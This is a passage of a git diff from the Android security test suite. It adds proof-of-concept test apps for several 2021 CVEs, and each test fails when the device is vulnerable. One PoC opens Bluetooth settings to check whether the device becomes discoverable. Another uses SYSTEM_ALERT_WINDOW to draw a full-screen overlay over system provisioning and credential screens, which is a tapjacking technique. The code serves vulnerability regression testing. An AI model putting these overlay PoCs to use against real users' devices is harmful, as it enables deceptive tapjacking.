+ <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+ <application
+ android:testOnly="true"
+ android:label="CVE-2021-39626"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39626" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
new file mode 100644
index 0000000..cd24540
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT = 5000;
+ private static Context context;
+
+ private static String getSettingsPkgName() {
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(context.getPackageManager());
+ String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : "com.android.settings";
+ assumeNotNull(pkgName);
+ return pkgName;
+ }
+
+ private void openApplication(String applicationName) {
+ Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ assumeNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @Test
+ public void testBtDiscoverable() {
+ // Initialize UiDevice instance
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ context = InstrumentationRegistry.getInstrumentation().getContext();
+ BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+ assumeNotNull(btAdapter);
+
+ // Save the state of bluetooth adapter to reset after the test
+ boolean btState = btAdapter.isEnabled();
+ if (!btState) {
+ // If bluetooth is disabled, enable it and wait for adapter startup to complete
+ assumeTrue(btAdapter.enable());
+ try {
+ Thread.sleep(TIMEOUT);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ assumeTrue(btAdapter.isEnabled());
+
+ // Launch the PoC application and ensure that it launches bluetooth settings
+ openApplication(context.getPackageName());
+ assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+
+ boolean isBtDiscoverable =
+ (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Disable bluetooth if it was OFF before the test
+ if (!btState) {
+ btAdapter.disable();
+ }
+
+ // The test fails if bluetooth is made discoverable through PoC
+ assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
new file mode 100644
index 0000000..d4425ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent();
+ intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
+ try {
+ startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
index bcbf54f..602c426 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39692",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 0000000..459d992
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39692">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:testOnly="false"
+ android:allowBackup="true"
+ android:label="CVE-2021-39692">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".PocActivity"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_receiver"/>
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ <action android:name="android.intent.action.BOOT_COMPLETED" />
+ <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+ <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 0000000..cf041ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 0000000..af74d3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+ <support-transfer-ownership/>
+ <uses-policies>
+ <limit-password/>
+ <watch-login/>
+ <reset-password/>
+ <force-lock/>
+ <wipe-data/>
+ <expire-password/>
+ <encrypted-storage/>
+ <disable-camera/>
+ <disable-keyguard-features/>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 0000000..e2f6196
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(context, PocDeviceAdminReceiver.class));
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ String testVulnerableActivity = ri.activityInfo.name;
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 0000000..89a7d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+ PackageManager pm = getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+ try {
+ startActivityForResult(intent, 1);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (resultCode == Activity.RESULT_OK) {
+ this.setResult(Activity.RESULT_OK);
+ this.finish();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..455aa03
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 0000000..be96d11
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
index bcbf54f..034f865 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39702",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 0000000..60105d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39702"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39702"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 0000000..46f9745
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+ </string>
+ <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running
+ on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 0000000..b5f3a3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.Credentials;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
